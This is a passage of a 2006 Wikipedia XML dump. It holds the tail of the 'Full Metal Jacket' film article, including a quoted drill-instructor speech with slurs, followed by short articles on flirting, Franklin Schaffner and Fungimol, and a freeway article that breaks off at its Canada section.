The brutal command of Senior [[Drill Instructor]] [[Gunnery Sergeant]] Hartman (played by former Marine Drill Instructor [[R. Lee Ermey]], which earned him a [[Golden Globe]] nomination for [[Golden Globe Award for Best Supporting Actor - Motion Picture|best supporting actor]]) shows the harsh [[indoctrination]] of the armed forces during the [[Vietnam War]] era. The training is depicted as designed to eliminate virtually all trace of the recruits' individual personalities and transform them into killers (to &quot;keep Heaven packed with fresh souls&quot;). This first section of the film focuses largely on how the brutal treatment of overweight misfit Leonard 'Gomer Pyle' Lawrence ([[Vincent D'Onofrio]]) results in him losing his [[sanity]]. After this, despite Joker's attempts to intervene, Lawrence murders the Drill Instructor, and then kills himself.

[[Image:Full metal jacket screenshot.JPG|thumb|200px|left|Crazy Earl expresses his views of the war.]]

The second part then takes place in Vietnam, focusing on 'Joker', who is now a [[Sergeant]], and a ''[[Stars and Stripes (newspaper)|Stars and Stripes]]'' [[war correspondent]], as he covers the [[Tet Offensive]]. The 'Joker' soon becomes familiar with both the horror and the absurdity of the war. His helmet decoration &amp;ndash; the slogan &quot;[[Born to Kill]]&quot; &amp;ndash; and the [[Peace symbol]] pin on his uniform exemplify his moral ambiguity. In one scene Joker is confronted by a [[Marine Corps]] [[Colonel]] ([[Bruce Boa]]), demanding to know why he has a peace symbol on his uniform and &quot;Born To Kill&quot; on his helmet. Joker mentions the duality of man theory postulated by [[Carl Jung]]; the Colonel questions Joker's patriotism and demands that he shape up, &quot;or I will take a giant shit on you.&quot;

Joker joins his friend Cowboy and his unit on patrol near the city of [[Hué]]. A vicious battle breaks out and the city, already crumbling from previous battles, is practically leveled. One of the film's standout sequences shows the unit being interviewed individually by a news crew and expressing their thoughts on the war. They also stand over the dead bodies of two of their unit and comment on what freedom means to the Vietnamese.

Cowboy's platoon is called up for patrol again, this time north of the Perfume River (which divides the city of Hué), where Viet Cong forces are believed to be hiding. The platoon becomes lost and a sniper, hiding among some abandoned buildings, draws in two of their comrades with the intention of sucking more of them into the trap. As the platoon moves up to take defensive positions, the sniper shoots Cowboy. After evading more shots, the unit moves in. Joker finds the sniper hiding in a room. At the critical moment his rifle jams and the sniper, a young Vietnamese girl, opens fire, pinning Joker behind a column, making it impossible for him to escape or shoot back. Suddenly, the girl is rippled by shots and falls; Joker's savior turns out to be Rafterman. As Joker, Rafterman, and, Animal Mother gather around the girl she begins to pray then begs the Marines to kill her. Joker does so after being egged on by his comrades.

The film concludes with the Marines' ironic rendition of the theme song to the [[Mickey Mouse Club]] as they march back to their base. The film's end credits are accompanied by [[The Rolling Stones]]' ''[[Paint It Black]].''

== Characters ==
'''Private/Sergeant &quot;Joker&quot; T.J. Davis'''- The main character of the film as well as its narrator.  He is a conscientious marine that initally joined the marines to see action and to kill.  He witnesses Pyle's insanity growing during boot camp.  He later becomes a combat correspondent and links up with the Lusthog Squad to report combat incidents in depth.  During his time with the squad, he witnesses the horrors of war. Frequently uses a [[John Wayne]] impression to diffuse tense situations.

'''Private/Sergeant &quot;Cowboy&quot; Evans'''- Cowboy is a marine from Texas.  He met Joker at boot camp and befriended him.  He becomes an infantry grunt and meets Joker in Hue City.  He is killed in action when an enemy sniper shoots him from behind.

'''Private Rafterman'''- Rafterman is a member of Joker's journalism staff and serves as a photographer.  He was eager to get into battle to see action and follows Joker into Hue City.  He seems somewhat naive and also seems to believe anything.

'''Animal Mother'''- A wild and headstrong marine in the Lusthog Squad.  He is armed with a M-60 light machine gun.  At first, he seems to be contemptuous of Joker and remains a little scornful of him.  He feels America should win the war.  One of the most significant characters.

'''Eightball'''- An African American marine in the Lusthog squad.  He seems to be sensitive about his ethnicity.  He is a friend of Animal Mother and also one of the more lively members of the squad.  He is also angry at the Vietnamese for not wanting to fight for freedom.  He dies when an enemy sniper hits him multiple times.

'''Doc Jay'''- Doc Jay is a marine in the Lusthog squad.  He also serves as a corpsman.  He is headstrong like Animal Mother and is willing to disobey orders under extreme circumstances.  He is killed by an enemy sniper when he tries to save Eightball.

'''Hand Job'''- A marine in the squad known for his excessive masturbation.  He is killed during a encounter in Hue City.  He used his habit of masturbation to receive a section eight order to go home but was killed one week before being shipped out.

'''Donlon'''- Another African American marine in the squad.  He serves as the RTO (radio/telephone operator).  Along with Eightball, he feels the Vietnamese are ungrateful to the Americans. 

'''Crazy Earl '''- Crazy Earl is the senior N.C.O. of the squad.  He takeover leadership when the platoon leader is killed.  He is a gung-ho marine and feels that he belongs in Vietnam.  He is killed by a booby trap bomb.

'''T.H.E. Rock'''- A Latino Marine in the squad.  He is generally quiet and follows the squad well.  He serves as the M-79 Grenade Launcher gunner.

'''Murphy'''- A marine in the squad who seems to be associated with tank coordination and support.  During the final scene, he is unable to provide the Lusthog Squad with the much needed tank support. (Murphy's radio voice is provided by Stanley Kubrick.)

'''Lieutenant Walter J. Schinoski &quot;Touchdown&quot;'''-  He is the platoon leader of the Lusthog squad.  He played college footbal at Notre Dame, hence his nickname was named after that.  He is killed during an advance into Hue City when several bombs go off and he is shot.

'''No-Doze and Stutten'''- Two marines in the Lusthog squad that go with Cowboy and his group to find the sniper that had killed Eightball and Doc Jay.

'''Gunnery Sergeant Hartman'''- The stereotypical, traciturn drill instructor from Parris Island.  He is insensitive and abuses his recruits to turn them into ruthless killing machines.  He is killed by a mentally-unbalanced Pyle in the latrine.

'''Leonard Lawrence &quot;Gomer Pyle&quot;'''- A large, heavy recruit that joined marines about the same time as Joker.  He was heavily abused by Hartman for his incompetence and weight.  After failing almost everything in boot camp, he begins to become the most disciplined recruit.  Unfortunately, he goes mad and kills Hartman and almost shoots Joker before committing suicide by pointing his M-14 up into his mouth and firing.

'''Private Brown &quot;Snowball&quot;'''- One of the recruits at Parris Island when Joker was also training there.  He was ridiculed for being African American and was given the nickname &quot;Snowball&quot; by Hartman.

'''Payback'''- One of the marines in Joker's journalism staff.  He has been out in the &quot;shit&quot; (combat zone).  He tells Joker and Rafterman about the &quot;Thousand Yard Stare.&quot;

'''Chili''' and '''Stork'''- Chili and Stork are also marines in Joker's journalism staff.
 
'''Lieutenant Lockhart'''- The senior editor and leader of Joker's writing staff.  He has some experience reporting on combat but refuses to go back because of the danger and bugs.  He is often taunted by Joker and his wise-crack statements.

'''Pouge Colonel'''- A marine colonel that encounters Joker near the grave of executed civilians.  He reprimands Joker about his peace symbol button and suggests that Joker be more enthusiasitic about winning the war.

==Theme==
The movie includes a great deal of [[satire]] on the [[Vietnam war]] and the Marines involved in the war, though few would deem the movie a [[comedy]]. The main themes of the movie include the [[irony]] of war, and the comparable power of words and ideas in a war. This theme is crystalized first by the Drill Instructor, whose words hit as hard as his fists, and later in the scenes with Sgt. Joker's editor for &quot;Stars and Stripes&quot; (who insists that &quot;search and destroy&quot; missions against the VC be termed &quot;sweep and clear&quot;, as this doesn't sound as violent), and in the scene with the colonel where the Colonel asks if Sgt. Joker is on &quot;our side&quot; and is waiting for &quot;this peace craze to blow over.&quot;

Although often said to contain two distinct parts, the film can be categorized into three. The first part is the training of new [[United States Marine Corps| US Marine Corps]] recruits, culminating with the deaths of the Senior [[Drill Instructor]] and Pvt. &quot;Pyle&quot;. The second part of the movie establishes Joker's role as a war reporter, working behind the lines during the Tet Offensive of 1968. In the third section, the focus shifts to a patrol searching through the bombed out city of [[Huế]] to root out a [[sniper]]. The sections are bookended by scenes of bargaining with [[prostitutes]], and each section ends with shocking violence.

Irony runs rampant throughout the film. In the first section of the movie, the [[recruit training]] is supposed to train [[Marines]] who protect the interests of the country and the military, but eventually it results in the death of the Senior [[Drill Instructor]]. The initially innocent and naive Pvt. Leonard Lawrence (nicknamed Gomer Pyle) ended up as a killer, exactly as the Drill Instructor wanted. The murder of the Senior Drill Instructor is ironic because his success in converting Pvt. Gomer Pyle into a killer results in his own death. The Drill Instructor's speech about famous [[assassins]], provides more irony. Although each of his examples was a motivated Marine, each ultimately ended up insane and killing innocent people. Near the beginning of the second part of the movie, Sgt. Joker is told an irony laced joke about &quot;how to kill women and children.&quot;  The final irony is that the product of the US Marine recruit training, the professional killers, are wiped out one by one by a small school girl who snipes them from a damaged building.  To which Marines when they capture the sniper, mercy kills her with a point blank shot.  

The movie also examines the irony of providing freedom for the [[Vietnamese people]] by taking away the freedom of the American people, and the allegation made by some of the Marines that the Vietnamese don't seem to want their freedom.

There are several references to [[religion]].  In one of the scenes the Senior Drill Instructor asks Pvt. Joker whether he believes in the [[Blessed Virgin Mary| Virgin Mary]].  Pvt. Joker replies that he does not, and the Senior Drill Instructor, offended, strikes the Private, and asks him again, getting the same reply.  After repeated blows, the Drill Instructor asks Pvt. Joker if he is deliberately trying to anger the instructor by reiterating his answer, and Joker replies that he believes the Drill Instructor will beat him harder if he reverses his position in the face of the abuse. The Drill Instructor then promotes Pvt. Joker to squad leader, not because of his answer, but for standing by his beliefs in the face of adversity.

==Music==
All of the music used in the film was written and recorded before 1968, as to be accurate to the time period the film is set in.  The music included in the film is as follows:

* Hello Vietnam - Performed by [[Johnny Wright]]
* [[These Boots Are Made for Walkin']] - Performed by [[Nancy Sinatra]]
* Wooly Bully - Performed by [[Sam the Sham &amp; the Pharaohs]]
* Surfin' Bird - Performed by [[The Trashmen]]
* The Marines Hymn - Performed by [[The Goldmen]]
* Chapel of Love - Performed by [[The Dixie Cups]]
* Paint it Black - Performed by [[The Rolling Stones]]
* [[Mickey Mouse Club]] Television Theme

==Quotes==
*'''Private Joker''' (narration): Parris Island, South Carolina...the United States Marine Corps Recruit Depot. An eight-week college for the phony-tough and the crazy-brave.

*'''Gunnery Sergeant Hartman''' (addressing new recruits): If you ladies leave my island, if you survive recruit training you will be a weapon, you will be a minister of death, praying for war. But until that day, you are pukes! You are the lowest form of life on Earth. You are not even human fucking beings! You are nothing but unorganized, grab-asstic pieces of amphibian shit! Because I am hard, you will not like me. But the more you hate me, the more you will learn. I am hard, but I am fair!  There is no racial bigotry here! I do not look down on niggers, kikes, wops or greasers — here you are all equally worthless! And my orders are to weed out all non-hackers who do not pack the gear to serve in my beloved Corps!

*'''Joker''': I wanted to see exotic Vietnam, the jewel of Southeast Asia. I wanted to meet interesting and stimulating people of an ancient culture and...kill them. I wanted to be the first kid on my block to get a confirmed kill.

==Trivia==
* Stanley Kubrick provided the voice of Murphy, the soldier on the other end of the radio communication in the latter part of the film.
* [[Vivian Kubrick]], his daughter,  had an uncredited guest role as a News Camera Operator at the Mass Grave.
* Abigail Mead contributes several tracks to the film's score - She does not exist, It is the working name for Stanley Kubrick's daughter [[Vivian Kubrick]]. 
* Ermey was originally hired to give another actor hired to play Gunnery Sergeant Hartman the basics of giving a realistic performance as a Marine Drill Instructor, but was quickly hired in the actor's place after the director grew impressed with him.

==External links==
{{wikiquote}}
*{{imdb title|id=0093058|title=Full Metal Jacket}}
* [http://www.visual-memory.co.uk/amk/doc/0065.html ''Full Metal Jacket'' screenplay]
* [http://www.associatedcontent.com/article/13662/an_analysis_of_background_movement.html Essay on ''Full Metal Jacket'']

{{Stanley Kubrick Films}}

[[Category:1987 films]]
[[Category:Drama films]]
[[Category:Films based on non-fiction books]]
[[Category:Films directed by Stanley Kubrick]]
[[Category:Vietnam War films]]
[[Category:Warner Bros. films]]

[[de:Full Metal Jacket (Film)]]
[[es:La chaqueta metálica]]
[[fr:Full Metal Jacket]]
[[he:מטאל ג'אקט]]
[[it:Full Metal Jacket]]
[[ja:フルメタル・ジャケット]]
[[nl:Full Metal Jacket]]
[[pl:Full Metal Jacket]]
[[pt:Full Metal Jacket]]
[[sq:Full Metal Jacket]]
[[sv:Full Metal Jacket]]</text>
    </revision>
  </page>
  <page>
    <title>Flirting</title>
    <id>11702</id>
    <revision>
      <id>41825761</id>
      <timestamp>2006-03-02T00:10:13Z</timestamp>
      <contributor>
        <ip>128.253.17.21</ip>
      </contributor>
      <text xml:space="preserve">:''This article is about the activity of flirtation.  For the movie, see [[Flirting (film)]].''

'''Flirting''' is a form of human interaction, usually expressing a [[human sexuality|sexual]] or [[romantic love|romantic]] interest in the other person.  It can consist of [[conversation]], [[body language]], and/or brief physical contact.  It may be one-sided or mutual.  

It is sometimes used as a means of expressing interest and gauging the other person's interest in [[dating]] or sexual activity. In this context it is often an important early part of [[courtship]], which can continue into [[long term relationship]]s such as [[marriage]]. Alternatively, it may simply be a prelude to [[casual sex]] with no continuing relationship.

In other situations, it may be done simply for immediate entertainment, with no intention of developing any further relationship.  This type of flirting sometimes faces disapproval from others, either because it can be misinterpreted as more serious, or it may be viewed as &quot;cheating&quot; if the person is already in a romantic relationship with someone else.

People who flirt may speak and act in a way that suggests greater [[intimacy]] than is generally considered appropriate to the [[personal relationship|relationship]] (or to the amount of time the two people have known each other), without actually saying or doing anything that breaches any serious social norms.  One way they accomplish this is to communicate a sense of playfulness or irony.  [[Double entendre]]s, with one meaning more formally appropriate and another more suggestive, may be used.

Flirting may consist of stylized gestures, language, [[body language]], [[Posture|postures]], and [[physiology|physiologic signs]], some of which are also part of [[foreplay]]. Among these, at least in [[Western society]], are:

* [[Eye contact]]
* Casual [[touch]]es
* [[Footsie (erotic)|Footsie]], the 'feet under the table' practice
* [[Smile|Smiling]] suggestively
* &quot;[[proteans|Protean]]&quot; signals, such as touching one's hair
* Sending and receiving notes, [[poetry|poems]], [[mixtape]]s, or written [[music]]
* Friendly [[teasing]]
* [[Wink]]ing
* Constant glances

The etymology of the verb &quot;to flirt&quot; comes from the old French &quot;Conter fleurette&quot;, which means &quot;to (try to) seduce&quot; by the dropping of flower leaves. This expression is no longer used in French, but the English [[gallicism]] ''to flirt'' has made its way and has now become an [[anglicism]].

[[Category:Sexual attraction]]
[[Category:Intimate relationships]]
[[Category:Sex moves]]

==External links==
*[http://www.sirc.org/publik/flirt.html SIRC Guide to Flirting]
*[http://www.webster.edu/depts/artsci/bass/faculty/mm1985.htm Nonverbal Courtship Patterns In Women: Context and Consequences]
*[http://cms.psychologytoday.com/articles/pto-19990101-000033.html Psychology Today - Flirting Fascination] Reviews several studies on flirting 

[[cs:Flirt]]
[[da:Flirt]]
[[de:Flirt]]
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[[ru:Флирт]]</text>
    </revision>
  </page>
  <page>
    <title>Franklin Schaffner</title>
    <id>11705</id>
    <revision>
      <id>40503681</id>
      <timestamp>2006-02-21T01:07:33Z</timestamp>
      <contributor>
        <username>Azucar</username>
        <id>291480</id>
      </contributor>
      <comment>ja</comment>
      <text xml:space="preserve">'''Franklin James Schaffner''' ([[May 30]], [[1920]] &amp;ndash; [[July 2]], [[1989]]) was an [[United States|American]] [[film director]].

The son of missionaries, Schaffner was born in [[Tokyo, Japan]] and raised in that country. He returned to the [[United States]] and graduated from [[Franklin and Marshall College]] in [[Lancaster, Pennsylvania]], where he was active in drama. He studied law at [[Columbia University]] in [[New York City]] but his education was interrupted by service with the [[United States Navy]] in [[World War II]] during which he served with American [[amphibious]] forces in [[Europe]] and [[North Africa]]. In the latter stages of the war he was sent to the [[Pacific]] [[Far East]] to serve with the [[Office of Strategic Services|United States Office for Strategic Services]]. 

Returning home after the war, he found work in the television industry with ''March of Time'' and then joined the [[CBS]] network. He won directing [[Emmy]]s for his work on the original 1954 [[CBS]] teleplay, ''[[Twelve Angry Men]]''. Schaffner earned two more Emmy awards for his work on the 1955 television play, &quot;The Caine Mutiny Court Martial for Ford Star Jubilee.&quot; He won his fourth Emmy Award for his work on the series, ''[[The Defenders]]''.

In 1960, he directed the [[stage play]] &quot;Advise and Consent.&quot; His first [[Hollywood]] [[motion picture]] was praised and he directed the influential hit ''[[Planet of the Apes (1968 movie)|Planet of the Apes]]''. His next film, ''[[Patton (film)|Patton]]'' was a major success for which he won the [[Academy Award for Directing]] and the [[Director's Guild of America|Director's Guild of America for Outstanding Directorial Achievement in Motion Pictures]]. [[Jerry Goldsmith]] composed the [[film score|scores]] for a number of his later films, including ''Planet of the Apes'', ''Papillon'' and ''The Boys from Brazil''.

Schaffner married Helen Jane Gilchrist in 1948. The couple had two children.

Schaffner was elected President of the Directors Guild of America in 1987.

Schaffner passed away in 1989 and was interred in the [[Westwood Village Memorial Park Cemetery]] in the [[Westwood, Los Angeles, California|Westwood Village]] area of [[Los Angeles, California]].

==Filmography==
*''[[Woman of Summer]]'' (1963) 
*''[[The Best Man]]'' (1964) 
*''[[The War Lord]]'' (1965) 
*''[[The Double Man]]'' (1967) 
*''[[Planet of the Apes (1968 movie)|Planet of the Apes]]'' (1967)
*''[[Patton (film)|Patton]]'' (1969) 
*''[[Nicholas and Alexandra]]'' (1971)
*''[[Papillon (film)|Papillon]]'' (1973)
*''[[Islands in the Stream]]'' (1976)
*''[[The Boys from Brazil]]'' (1978)
*''[[Sphinx (movie)|Sphinx]]'' (1980)
*''[[Yes, Giorgio]]'' (1982)
*''[[Lionheart (film)|Lionheart]]'' (1987)
*''[[Welcome Home]]'' (1989).

[[Category:1920 births|Schaffner, Franklin]]
[[Category:1989 deaths|Schaffner, Franklin]]
[[Category:Best Director Oscar|Schaffner, Franklin]]
[[Category:American film directors|Schaffner, Franklin]]
[[es:Franklin Schaffner]]
[[de:Franklin J. Schaffner]]
[[fr:Franklin J. Schaffner]]
[[ja:フランクリン・J・シャフナー]]</text>
    </revision>
  </page>
  <page>
    <title>Fungimol</title>
    <id>11706</id>
    <revision>
      <id>41553986</id>
      <timestamp>2006-02-28T02:55:25Z</timestamp>
      <contributor>
        <ip>128.175.87.91</ip>
      </contributor>
      <comment>rm dead image</comment>
      <text xml:space="preserve">'''Fungimol''' is Tim Freeman's
extensible system for designing [[atom]]ic-scale objects. The intent is to eventually extend it to be a useful system for
doing [[molecule|molecular]] [[nanotechnology]] design work. At the moment it is a PDB file viewer and [[buckminsterfullerene]] editor.

Fungimol (including this document) is distributed under the terms of the [[GNU General Public License|GNU Library General Public License]]. This license is
flexible enough to permit creating proprietary [[plugin]]s under certain circumstances. Binary versions of Fungimol link with other
software that has other licenses.

==External links==
*[http://www.fungible.com/fungimol/index.html Fungimol Documentation Contents]

[[Category:Nanotechnology]]</text>
    </revision>
  </page>
  <page>
    <title>Freeway</title>
    <id>11707</id>
    <revision>
      <id>41632201</id>
      <timestamp>2006-02-28T17:40:29Z</timestamp>
      <contributor>
        <username>Hairy Dude</username>
        <id>274535</id>
      </contributor>
      <minor />
      <comment>/* United Kingdom */ substituted &quot;median strip&quot; with BrE &quot;central reservation&quot; (I have never, ever heard the former with reference to UK roads)</comment>
      <text xml:space="preserve">{{Otheruses}}
[[Image:Los Angeles Freeway Interchange.jpg|thumb|right|400px|High-capacity [[freeway interchange]] in [[Los Angeles, California]].]]
A '''freeway''' (also ''superhighway'', ''[[expressway]]'' or ''[[motorway]]'' as further explained below) is a multi-[[lane]] [[highway]] ([[road]]) designed for high-speed travel by large numbers of [[vehicle]]s, and having no [[traffic light]]s, [[stop sign]]s, nor other regulations requiring vehicles to stop for cross-traffic. 

==In general==
===Design features===
Freeways have high [[speed limit]]s (usually 65-80 mph (100-130 km/h) in rural areas and 50-65 mph (80-100 km/h) in urban areas) and multiple lanes for travel in each direction.  The number of lanes may vary from four or six in rural areas to as high as sixteen or eighteen in certain [[Global city|global cities]].

A median (originally &quot;medial strip&quot;{{ref|bernstein}}) or [[central reservation]] separates the lanes travelling in opposite directions.  Separation may be achieved through distance or through the use of high [[crash barrier]]s like cable barriers and [[Jersey barrier]]s{{ref|anonymous}}.  

Crossroads are bypassed by grade (height) separation using [[underpass]]es and [[overpass]]es.  
In addition to the [[sidewalk]]s attached to roads that go over or under a freeway, most countries also provide specialized pedestrian bridges and underground tunnels.  Such structures enable pedestrians and cyclists to cross the freeway without having to make a long detour to the nearest road for which a grade separation has been provided.

Freeway entrances and exits are limited in number, and are designed with special onramps and offramps, so as to ensure that vehicles do not disrupt the main flow of traffic as they enter or leave the freeway.  In some countries, the exits are numbered.  Exit numbering may be by mile or kilometre, or in a simple sequential fashion.  

Where freeways cross, engineers provide '''[[interchange (road)|interchange]]s''' with elaborate [[ramp]] systems that allow for smooth, uninterrupted transitions between all through routes (as funds permit).  

Because the high speeds reduce decision time, freeways usually have more [[traffic sign]]s than the equivalent signs on most highways and roads; the signs are often also larger.  In major cities, especially on freeways six lanes in width or wider, guide signs are mounted on overpasses or overhead gantries so that drivers can see where each lane goes.  

Some countries prefer to use a special icon for freeways, while others simply post &quot;Freeway Entrance&quot; and &quot;Begin Freeway&quot; signs.

Another common problem with freeways is that it is nearly impossible to avoid wrong-way drivers, and the subsequent [[head-on collision]]s are often fatal.  Therefore, special signage and lane markings are used to discourage drivers from going the wrong way.

Freeways do not usually have traffic lights, but expressways may, in places where this distinction is made.

====Gallery of design features====
=====Signage for entering the freeway=====
&lt;gallery&gt;
Image:Beginfreewaysign.jpg|American &quot;begin freeway&quot; sign
Image:Freewayentrancesign.jpg|California on-ramp sign
Image:Autorouteentrancesign.jpg|Swiss on-ramp and &quot;begin freeway&quot; sign
&lt;/gallery&gt;

=====Signage for leaving the freeway=====
&lt;gallery&gt;
Image:Endfreewaysign.jpg|American &quot;freeway ends&quot; warning sign
Image:SR 429 north exit 33.jpg|American [[exit number|numbered exit]] off-ramp sign
Image:Autorouteexitsign.jpg|Swiss end of freeway/off-ramp sign
Image:Taiwan Freeway New Exit Sign.PNG|Taiwan exit off-ramp sign with distance based exit numbering and formal interchange name in Chinese [http://www.freeway.gov.tw/content/交流道編號對應表.htm] [http://www.freeway.gov.tw/en_07.asp] [http://www.freeway.gov.tw/content/NHW01_IC_Table.htm]
&lt;/gallery&gt;

=====Signage for Navigation=====
&lt;gallery&gt;
Image:Americanguidesignage.jpg|American guide signs
Image:I-4 east exits 111A-B.jpg|American [[exit number|numbered exit]] guide sign
Image:Quebec exit number.jpg|[[Quebec]] guide signs
Image:PRC Expressway.jpg|Chinese guide signs
Image:Europeanguidesignage.jpg|Swiss guide signs
Image:AutopistaVespucioSurantesdeRuta5.JPG|Chilean guide signs
Image:On the Dhahran-Al Khobar Highway.jpg|Saudi Arabian guide signs
Image:Taiwan Freeway 1km Exit Sign.PNG|Taiwan guide sign [http://www.freeway.gov.tw/content/NHW01_IC_Table.htm] [http://www.freeway.gov.tw/en_07.asp] [http://www.freeway.gov.tw/content/交流道編號對應表.htm]
Image:Freeway_Argentina.jpg|Guide sign in Buenos Aires, Argentina
&lt;/gallery&gt;

=====Grade separations=====
&lt;gallery&gt;
Image:Sandhillroadoverpass.jpg|American freeway overpass
Image:Highway13highway24underpass.jpg|American freeway underpass
&lt;/gallery&gt;

=====Measures to prevent wrong way drivers=====
&lt;gallery&gt;
Image:Californiaofframpwrongwaysignage.jpg|Used by some U.S. states at freeway ends and off-ramps
&lt;/gallery&gt;

===Access restrictions===

To minimize [[Car accident|accident]]s, access to freeways is usually limited to vehicles capable of consistently maintaining a high speed, like [[automobile]]s, [[truck]]s, [[motorcycle]]s, [[van]]s, and [[bus]]es.  [[Pedestrian]]s, [[bicyclist]]s, slow-moving vehicles, [[horse]]s, horse-drawn vehicles, and anything else that might obstruct fast-moving vehicles are all prohibited; however some freeways allow non-motor vehicles (e.g., bicycles) (see [[non-motorized vehicle access on freeways]] for more info).

===Ancillary facilities===

In most parts of the world, there are public [[rest area]]s on freeways and expressways as well as other types of highways.  In some U.S. states, public rest areas are located almost exclusively on freeways or expressways (since only those routes carry the high traffic necessary to justify the area's maintenance cost).

== Nomenclature ==
===Worldwide===

''Freeway'' is the term used in most of the [[United States]], parts of [[Canada]], and parts of [[Australia]], notably [[Victoria (Australia)|Victoria]], [[South Australia]] and [[Western Australia]]. The [[United Kingdom]], [[Republic of Ireland]], [[New Zealand]] and [[Commonwealth of Nations|Commonwealth]] countries prefer ''[[motorway]]'', most of [[Canada]] uses ''[[expressway]]'', while the provinces of [[Québec]] and [[New Brunswick]] use ''[[Autoroute (Quebec)|Autoroute]]''; ''[[Autoroute]]'' is also used in [[France]] and other francophone countries; [[Spain]], [[Mexico]] and other Spanish-speaking countries use the term ''[[Autopista]]''; the [[German language|German]]-speaking world uses ''[[Autobahn]]'', the [[Dutch language|Dutch]]-speaking world uses ''[[autosnelweg]]'', [[Italy]], [[Poland]] and [[Romania]] use ''[[autostrada]]''; and [[China]] and [[Japan]] use the term ''[[expressway]]'', although they once used ''freeway''. [[Slovenia]] uses ''[[avtocesta]]'', [[Croatia]] uses ''[[Autocesta]]'', [[Slovakia]] uses ''diaľnica'' and [[Czech republic]] uses ''dálnice''.  Brazil uses the portuguese ''rodovia''. The Nordic countries use these terms: ''motorveg'' in Norway, ''motorvej'' in Denmark, and ''motorväg'' in Sweden, which are all apparently variations on the British ''motorway''.

Some [[RIRO expressway]]s may have at-grade intersections.  Some commentators consider them to be freeways because they have design speeds of 65 mph or higher.  However, others argue that RIRO expressways lack complete-controlled access since existing private businesses are allowed to retain their entrances and thus should not be classified as full/true freeways.

===United Kingdom===
In the UK the term &quot;motorway&quot; has specific legal meanings (simply, a &quot;special status&quot; road).  Although the term &quot;expressway&quot; and &quot;parkway&quot; are sometimes used, they amount to little more than street names, with motorway the only term officially recognised.  UK motorways are engineered to some of the highest standards in the world, with almost all motorways having a full-width hard shoulder (breakdown lane), full grade-seperated interchanges with long on/off ramps and a barriered central reservation (the term &quot;median strip&quot; is unknown in [[British English]]).  All UK motorways have an &quot;M&quot; prefix (e.g. M1) or, where an &quot;A&quot; road has been upgraded to motorway status, an &quot;M&quot; suffix in brackets (e.g. A1(M)).  Because the term ''motorway'' refers to the legal status of the road rather than the standards to which it is built, occasionaly quirks are sometimes thrown up, such as the [[Walton Summit Motorway]] in Lancashire, England, which is a very short section linking a motorway [[roundabout]] with a standard non-motorway road.  Although it has the &quot;special status&quot; of motorway, it has just one lane in each direction with no central reservation.  This oddity is also the only motorway in the UK with no number.  There are very many roads in the UK which are almost to or equivalent to motorway standard (mostly &quot;A&quot;-prefixed primary routes) but have not been designated motorways.  Examples include the A27 in [[Hampshire]], the A34 in [[Berkshire]] and many sections of the A1 throughout [[England]] and [[Scotland]].

===Australia===
In Australia Freeways are named as either Freeway or [[Motorway]] (except in NSW where some Freeways are called motorways or expressways. [[Tollways]] are exactly the same as Freeways in Australia, except a fee is payable, usually in the form of toll booths or electronic tolling technology (first used in [[Melbourne]], [[Australia]] &quot;E-Tag&quot; on Citylink) to pay for the use of the particular tolled section.

Ausway ([[Melway]]) describes a Freeway as: ''Those roads having full access control and grade seperated intersections, with the primary function of servicing high volume traffic movements.''

In Australia most freeways are betwen two and five lanes each way depending on the importance of the freeway. Most freeways, as in other countries, are upgraded when traffic demand exceeds the infrastructure available. Roads with partial access control or no access control, of similar size and traffic volume, are given the name [[Highway]].

===United States===

====General definitions====

In the [[United States of America]], a ''freeway'' (or &quot;controlled-access road&quot;) is defined by American [[civil engineer]]s as a divided highway with full control of access.  This means two things.  First, adjoining property owners do not have a legal right of access, meaning that they cannot connect their lands to the highway by constructing driveways.  When an existing road is converted into a freeway, all existing driveways must be removed and access to adjacent private lands must be blocked with fences or walls.  Second, traffic on the highway is free-flowing, although many non-engineers misapprehend the &quot;free&quot; in &quot;freeway&quot; to mean that such a highway must be free of charge to use.  All cross-traffic (and left-turning traffic) has been relegated to overpasses or underpasses, so that there are no traffic conflicts on the main line of the highway which must be regulated by a traffic light, stop signs, or other traffic control devices.  Achieving such free flow requires the construction of many bridges, tunnels, and ramp systems.  However, because freeway drivers do not have to react to unpredictable cross-traffic, they can generally drive at higher speeds than on expressways.

In contrast, an ''expressway'' (or &quot;limited-access road&quot;) is defined as a divided highway with partial control of access.  Expressways ''may'' have driveways connecting to adjacent properties, although the trend over time has been to minimize driveways when possible.  Expressways also may have at-grade intersections, though these tend to be spaced farther apart than on most arterial roads.  In urban areas, expressway intersections are usually controlled by traffic lights, but in many rural areas, cross-traffic is governed only by stop signs, and there are no restrictions on through traffic.  Vehicles crossing an expressway at rural intersections must race across four lanes with vehicles coming at them from both directions at 45 mph (70 km/h).  Thus, expressways are more dangerous than freeways and cannot carry traffic as efficiently as a freeway.  

This distinction has been codified in the official standards book of the [[U.S. Department of Transportation]], the [[Manual on Uniform Traffic Control Devices]]{{ref|mutcd}}.  As an official government regulation, and as a reasonable exercise of the Department's authority, the Manual carries the force of law (see [[Administrative law]]).  The same distinction has also been codified into the statutory law of six states: [[California]] {{ref|california}}, [[Mississippi]] {{ref|mississippi}}, [[Missouri]] {{ref|missouri}}, [[Nebraska]] {{ref|nebraska}}, [[Ohio]] {{ref|ohio}}, and [[Wisconsin]] {{ref|wisconsin}}.

====Exceptions====

However, the distinction between these two terms is not universal.  In several states which built freeways very early on (including [[Connecticut]], [[Illinois]], [[Massachusetts]], [[New Jersey]], [[New York]], [[Pennsylvania]], and [[Rhode Island]]), the terms ''expressway'' and ''freeway'' have the same meaning, and usually ''expressway'' or just ''highway'', an older usage, is preferred.  In the New York metro area, the term ''expressway'' officially refers to a limited-access highway which large trucks are permitted to drive on, while many other limited- or controlled-access roads are designated ''parkways'', and are for passenger car use only.

In Florida, an &quot;expressway&quot; is defined as a limited-access [[toll road]], while a &quot;freeway&quot; is any other limited- or controlled-access road which costs no money to travel on.

In New Jersey and Pennsylvania, newer roads are often officially styled ''freeways'', where older roads retain the title ''expressway''.  These are also states which have toll roads, and therefore the distinction is made between a tollway (or turnpike) and a freeway, the latter not costing toll. According to some residents of these states, an &quot;expressway&quot; is the general category, and then, depending on whether the expressway is toll or free, it may be either a tollway or a freeway.  

Frequently, in the Midwest and the South, neither &quot;freeway&quot; nor &quot;expressway&quot; is commonly used, and the preferred term is &quot;interstate,&quot; even in cases where the expressway might not have been designated an [[Interstate Highway]].

In the rest of the country, ''freeway'' is the usual term; however, the distinction between freeways and expressways is not always as clear or well-understood as it is in [[California]], which has many of both kinds of highway.

===Canada===
